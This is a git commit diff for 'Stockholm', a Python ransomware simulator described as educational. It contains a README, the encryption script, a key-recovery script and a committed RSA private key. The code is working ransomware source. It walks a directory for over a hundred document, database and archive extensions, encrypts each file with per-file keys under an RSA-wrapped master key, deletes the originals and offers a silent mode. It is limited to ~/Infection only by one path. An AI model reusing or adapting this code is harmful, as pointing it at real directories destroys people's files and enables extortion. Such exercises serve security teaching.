commit 4da09c24076a182a244d3583125b719ec36030c3 Author: whaffman Date: Tue Jul 8 14:24:10 2025 +0200 initial commit diff --git a/README.md b/README.md new file mode 100644 index 0000000..92147a6 --- /dev/null +++ b/README.md @@ -0,0 +1,50 @@ +# Stockholm - File Encryption Tool + +A Python-based file encryption tool that simulates ransomware behavior for educational and security testing purposes. + +## Installation +```bash +source setup.sh +ssh-keygen -t rsa -b 2048 -f id_rsa -N "" +``` + +## Usage + +### Encrypt files in ~/Infection directory: +```bash +python stockholm.py +``` + +### Decrypt files: +```bash +# Get symmetric key +python swat.py "$(cat ~/Infection/encrypted_symmetric_key.bin)" --private_key id_rsa + +# Decrypt files +python stockholm.py -r +``` + +## Options +- `-r, --reverse `: Decrypt files using symmetric key +- `-s, --silent`: Run without output messages +- `-v, --version`: Show version information + +## How It Works +1. Generates master symmetric key (Fernet) +2. Creates unique key for each file +3. Encrypts files in 64KB chunks +4. Master key encrypted with RSA public key +5. Original files are deleted after encryption + +## Security Features +- Hybrid encryption (RSA + Fernet) +- Unique file keys +- Memory efficient chunked processing +- Supports 100+ file extensions + +## Example Test Setup +```bash +mkdir -p ~/Infection/test +echo "test content" > ~/Infection/test/sample.txt +python stockholm.py +``` diff --git a/id_rsa b/id_rsa new file mode 100644 index 0000000..e501611 --- /dev/null +++ b/id_rsa @@ -0,0 +1,16 @@ +-----BEGIN OPENSSH PRIVATE KEY----- +b3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAAAlwAAAAdzc2gtcn +NhAAAAAwEAAQAAAIEAvs0sB3WYMqMlSevPErlEzPEthzfldJ0yGioA93mSLG7bovaPmvs2 +ElkvZ+4QFIQqNaTA/wp0xXHlP+wAWL+2FGSwf3ZRZtIj4CcqLTgFajCwMijqOQz6DlO5fv +bWBM2EUdp9lPMqKKrs5Q/5U8uAwDM/Yyep54Y44SkEikhQtjsAAAIIniZc6p4mXOoAAAAH +c3NoLXJzYQAAAIEAvs0sB3WYMqMlSevPErlEzPEthzfldJ0yGioA93mSLG7bovaPmvs2El +kvZ+4QFIQqNaTA/wp0xXHlP+wAWL+2FGSwf3ZRZtIj4CcqLTgFajCwMijqOQz6DlO5fvbW +BM2EUdp9lPMqKKrs5Q/5U8uAwDM/Yyep54Y44SkEikhQtjsAAAADAQABAAAAgCdub3L7Mo +EEhmhIe3r7HuTb0vTm8FyxP/F4TMrYLQVRw8JiAjudPwd7tvhbkqcqyS5c5iXPG2LSrvYO +5+Nve0lQO1Wb6eyp9Cy9xheAB7ZT7ebZgp/sZkBDK6qmoEUJrb8JINsMYSRxycW0CLP8xw +xUpe3gNsg7VLXdtf10T1vBAAAAQQDaO3utaP5GHmxaT/fRhG1x76z6TZv6JAV8chcjja0l +xe9Y1P8ymbLAe9ntxETtfnUl+FeNQv5X6lBKNDYwoc6iAAAAQQDlkiGUfmQkNOPKwsURTT +i990MdAzazQxonUXu1EMg8wdhS7JIZXDv/yh5sBobAR0PsntXk5QBbI5P0F/v7dOfvAAAA +QQDUxG/j8zUcTTb+csyXPDs1QDcIsvct5eRrsHvhPiLSoo5ER5hMpTuyRsYTuTBv36UvJZ +HVDaCDTARttNm2Aqp1AAAAC3dpbGxlbUBtaWVyAQIDBAUGBw== +-----END OPENSSH PRIVATE KEY----- diff --git a/id_rsa.pub b/id_rsa.pub new file mode 100644 index 0000000..aa33ba5 --- /dev/null +++ b/id_rsa.pub @@ -0,0 +1 @@ +ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAAAgQC+zSwHdZgyoyVJ688SuUTM8S2HN+V0nTIaKgD3eZIsbtui9o+a+zYSWS9n7hAUhCo1pMD/CnTFceU/7ABYv7YUZLB/dlFm0iPgJyotOAVqMLAyKOo5DPoOU7l+9tYEzYRR2n2U8yooquzlD/lTy4DAMz9jJ6nnhjjhKQSKSFC2Ow== willem@mier diff --git a/requirements.txt b/requirements.txt new file mode 100644 index 0000000..e69de29 diff --git a/setup.sh b/setup.sh new file mode 100755 index 0000000..76d7008 --- /dev/null +++ b/setup.sh @@ -0,0 +1,3 @@ +python3 -m venv .venv +source .venv/bin/activate +pip install -r requirements.txt diff --git a/stockholm.py b/stockholm.py new file mode 100755 index 0000000..999a4e7 --- /dev/null +++ b/stockholm.py @@ -0,0 +1,272 @@ +#!/usr/bin/env python3 +# -*- coding: utf-8 -*- + +from pathlib import Path +from cryptography.fernet import Fernet +from Crypto.Cipher import PKCS1_OAEP +from Crypto.PublicKey import RSA +import argparse +import os +from base64 import b64encode, b64decode + +suffixes_to_encrypt = [ + '.123', '.3dm', '.3ds', '.3g2', '.3gp', '.602', '.7z', '.accdb', '.aes', + '.ai', '.ARC', '.asc', '.asf', '.asm', '.asp', '.avi', '.backup', '.bak', + '.bat', '.bmp', '.brd', '.bz2', '.c', '.cgm', '.class', '.cmd', '.cpp', + '.crt', '.cs', '.csr', '.csv', '.db', '.dbf', '.dch', '.der', '.dif', + '.dip', '.djvu', '.doc', '.docb', '.docm', '.docx', '.dot', '.dotm', + '.dotx', '.dwg', '.edb', '.eml', '.fla', '.flv', '.frm', '.gif', '.gpg', + '.gz', '.h', '.hwp', '.ibd', '.iso', '.jar', '.java', '.jpeg', '.jpg', + '.js', '.jsp', '.key', '.lay', '.lay6', '.ldf', '.m3u', '.m4u', '.max', + '.mdb', '.mdf', '.mid', '.mkv', '.mml', '.mov', '.mp3', '.mp4', '.mpeg', + '.mpg', '.msg', '.myd', '.myi', '.nef', '.odb', '.odg', '.odp', '.ods', + '.odt', '.onetoc2', '.ost', '.otg', '.otp', '.ots', '.ott', '.p12', + '.PAQ', '.pas', '.pdf', '.pem', '.pfx', '.php', '.pl', '.png', '.pot', + '.potm', '.potx', '.ppam', '.pps', '.ppsm', '.ppsx', '.ppt', '.pptm', + '.pptx', '.ps1', '.psd', '.pst', '.rar', '.raw', '.rb', '.rtf', '.sch', + '.sh', '.sldm', '.sldx', '.slk', '.sln', '.snt', '.sql', '.sqlite3', + '.sqlitedb', '.stc', '.std', '.sti', '.stw', '.suo', '.svg', '.swf', + '.sxc', '.sxd', '.sxi', '.sxm', '.sxw', '.tar', '.tbk', '.tgz', '.tif', + '.tiff', '.txt', '.uop', '.uot', '.vb', '.vbs', '.vcd', '.vdi', '.vmdk', + '.vmx', '.vob', '.vsd', '.vsdx', '.wav', '.wb2', '.wk1', '.wks', '.wma', + '.wmv', '.xlc', '.xlm', '.xls', '.xlsb', '.xlsm', '.xlsx', '.xlt', + '.xltm', '.xltx', '.xlw', '.zip' +] + +silent = False + + + +def encrypt_symmetric_key(symmetric_key, encrypted_key_path, public_key_path="id_rsa.pub"): + """ + Encrypts the symmetric key using the provided public key. + + :param symmetric_key: The symmetric key to encrypt. + :param public_key_path: Path to the public RSA key file. + :return: Encrypted symmetric key. + """ + try: + with open(public_key_path, "rb") as public_key_file: + public_key = RSA.import_key(public_key_file.read()) + cipher_rsa = PKCS1_OAEP.new(public_key) + encrypted_symmetric_key = cipher_rsa.encrypt(symmetric_key) + except Exception as e: + my_print(f"Error encrypting symmetric key: {e}") + return None + + try: + with open(encrypted_key_path, "w") as enc_file: + enc_file.write(b64encode(encrypted_symmetric_key).decode('utf-8')) + except Exception as e: + my_print(f"Error writing encrypted symmetric key to file: {e}") + return None + + my_print(f"Encrypted symmetric key saved to {encrypted_key_path}") + +def encrypt_files(files, symmetric_key): + """ + Encrypts the specified files using the symmetric key with chunked encryption. + + :param files: List of file paths to encrypt. + :param symmetric_key: The symmetric key to use for encryption. + """ + fernet_main = Fernet(symmetric_key) + + for file in files: + fernet_file_key = Fernet.generate_key() + encrypted_fernet_file_key = fernet_main.encrypt(fernet_file_key) + fernet = Fernet(fernet_file_key) + + if file.suffix != '.ft': + encrypted_file = file.with_suffix(file.suffix + '.ft') + else: + encrypted_file = file + + try: + with open(file, 'rb') as fin, open(encrypted_file, 'wb') as fout: + # Encrypt in chunks to handle large files + fout.write(len(encrypted_fernet_file_key).to_bytes(4, byteorder='big')) + fout.write(encrypted_fernet_file_key) + while True: + chunk = fin.read(65536) # 64KB chunks + if not chunk: + break + + # Encrypt each chunk separately + encrypted_chunk = fernet.encrypt(chunk) + + # Write the length of the encrypted chunk first (for decryption) + chunk_length = len(encrypted_chunk) + fout.write(chunk_length.to_bytes(4, byteorder='big')) + fout.write(encrypted_chunk) + + except Exception as e: + my_print(f"Error encrypting file {file}: {e}") + continue + + my_print(f"Encrypted file: {encrypted_file}") + + try: + os.remove(file) + my_print(f"Removed original file: {file}") + except Exception as e: + my_print(f"Error removing original file {file}: {e}") + +def decrypt_files(files, symmetric_key): + """ + Decrypts the specified files using the symmetric key with chunked decryption. + + :param files: List of file paths to decrypt. + :param symmetric_key: The symmetric key to use for decryption. + """ + fernet_main = Fernet(symmetric_key) + + for file in files: + if file.suffix != '.ft': + continue + + original_file = file.with_suffix('') + if len(original_file.suffixes) == 0: + original_file = original_file.with_suffix('.ft') + + try: + with open(file, 'rb') as fin, open(original_file, 'wb') as fout: + length_key = fin.read(4) + if not length_key or len(length_key) < 4: + my_print(f"Error reading length of encrypted key from {file}") + continue + encrypted_key = fin.read(int.from_bytes(length_key, byteorder='big')) + if not encrypted_key: + my_print(f"Error reading encrypted key from {file}") + continue + # Decrypt the symmetric key + try: + decrypted_key = fernet_main.decrypt(encrypted_key) + except Exception as e: + my_print(f"Error decrypting symmetric key: {e}") + continue + fernet = Fernet(decrypted_key) + + # Decrypt in chunks + while True: + # Read the chunk length + length_bytes = fin.read(4) + if not length_bytes or len(length_bytes) < 4: + break + + chunk_length = int.from_bytes(length_bytes, byteorder='big') + + # Read the encrypted chunk + encrypted_chunk = fin.read(chunk_length) + if not encrypted_chunk or len(encrypted_chunk) < chunk_length: + break + + # Decrypt the chunk + decrypted_chunk = fernet.decrypt(encrypted_chunk) + fout.write(decrypted_chunk) + + except Exception as e: + my_print(f"Error decrypting file {file}: {e}") + continue + + try: + os.remove(file) + my_print(f"Removed encrypted file: {file}") + except Exception as e: + my_print(f"Error removing encrypted file {file}: {e}") + continue + my_print(f"Decrypted file: {original_file}") + + +def list_infection_files(infection_path): + """ + Lists all files in the Infection directory. + + :return: List of file paths in the Infection directory. + """ + if not infection_path.exists(): + my_print("Infection path does not exist.") + return [] + + files = [file for file in infection_path.glob('**/*') if file.is_file() and file.suffix in suffixes_to_encrypt] + return files + +def list_infected_files(infection_path): + """ + Lists all infected files in the Infection directory. + + :return: List of infected file paths in the Infection directory. + """ + if not infection_path.exists(): + my_print("Infection path does not exist.") + return [] + + files = [file for file in infection_path.glob('**/*') if file.is_file() and file.suffix == '.ft'] + return files + +def generate_symmetric_key(): + """ + Generates a symmetric key for encryption. + + :return: Generated symmetric key. + """ + key = Fernet.generate_key() + my_print(f"Generated symmetric key: {key.decode('utf-8')}") + return key + +def my_print(message): + """ + Prints the message if not in silent mode. + + :param message: The message to print. + :param silent: If True, suppresses the output. + """ + global silent + if not silent: + print(message) + +def main(): + parser = argparse.ArgumentParser(description="Encrypt or decrypt files in the Infection directory.") + parser.add_argument("-r", "--reverse", type=str, help="Decrypt files using the provided decryption key.") + parser.add_argument("-v", "--version", action="version", version="Stockholm 1.0") + parser.add_argument("-s", "--silent", action="store_true", default=False ,help="Run in silent mode, suppressing output messages.") + + args = parser.parse_args() + + global silent + silent = args.silent + + home_dir = os.path.expanduser("~") + infection_path = Path(home_dir, "Infection") + if args.reverse: + my_print("Decrypting files...") + files = list_infected_files(infection_path) + # The key from swat.py is a base64-encoded string that should be used directly as bytes + if isinstance(args.reverse, str): + symmetric_key = args.reverse.encode('utf-8') + else: + symmetric_key = args.reverse + if symmetric_key: + if files: + decrypt_files(files, symmetric_key) + else: + my_print("No files to decrypt found in the Infection directory.") + else: + my_print("Failed to decrypt the symmetric key.") + else: + my_print("Encrypting files...") + files = list_infection_files(infection_path) + symmetric_key = generate_symmetric_key() + my_print(infection_path / "encrypted_symmetric_key.bin") + encrypt_symmetric_key(symmetric_key, infection_path / "encrypted_symmetric_key.bin") + if files: + encrypt_files(files, symmetric_key) + + else: + my_print("No files to encrypt found in the Infection directory.") + del symmetric_key + + + +if __name__ == "__main__": + main() \ No newline at end of file diff --git a/swat.py b/swat.py new file mode 100755 index 0000000..ba148a1 --- /dev/null +++ b/swat.py @@ -0,0 +1,44 @@ +#!/usr/bin/env python3 +# -*- coding: utf-8 -*- +import os +from pathlib import Path +from Crypto.Cipher import PKCS1_OAEP +from Crypto.PublicKey import RSA +from base64 import b64encode, b64decode +import argparse + +def decrypt_symmetric_key(encrypted_key, private_key_path="id_rsa"): + """ + Decrypts the symmetric key using the provided private key. + + :param encrypted_key_path: Path to the file containing the encrypted symmetric key. + :param private_key_path: Path to the private RSA key file. + :return: Decrypted symmetric key or None if decryption fails. + """ + try: + with open(private_key_path, "rb") as private_key_file: + private_key = RSA.import_key(private_key_file.read()) + cipher_rsa = PKCS1_OAEP.new(private_key) + + encrypted_symmetric_key = encrypted_key.encode('utf-8') if isinstance(encrypted_key, str) else encrypted_key + + symmetric_key = cipher_rsa.decrypt(b64decode(encrypted_symmetric_key)) + return symmetric_key + except Exception as e: + print(f"Error decrypting symmetric key: {e}") + return None + +def main(): + parser = argparse.ArgumentParser(description="Decrypt a symmetric key using a private RSA key.") + parser.add_argument("encrypted_key", type=str, help="Encrypted symmetric key") + parser.add_argument("--private_key", type=str, default="id_rsa", help="Path to the private RSA key file (default: id_rsa)") + args = parser.parse_args() + + symmetric_key = decrypt_symmetric_key(args.encrypted_key, args.private_key) + if symmetric_key: + print(symmetric_key.decode('utf-8') if isinstance(symmetric_key, bytes) else symmetric_key) + else: + print("Failed to decrypt the symmetric key.") + +if __name__ == "__main__": + main()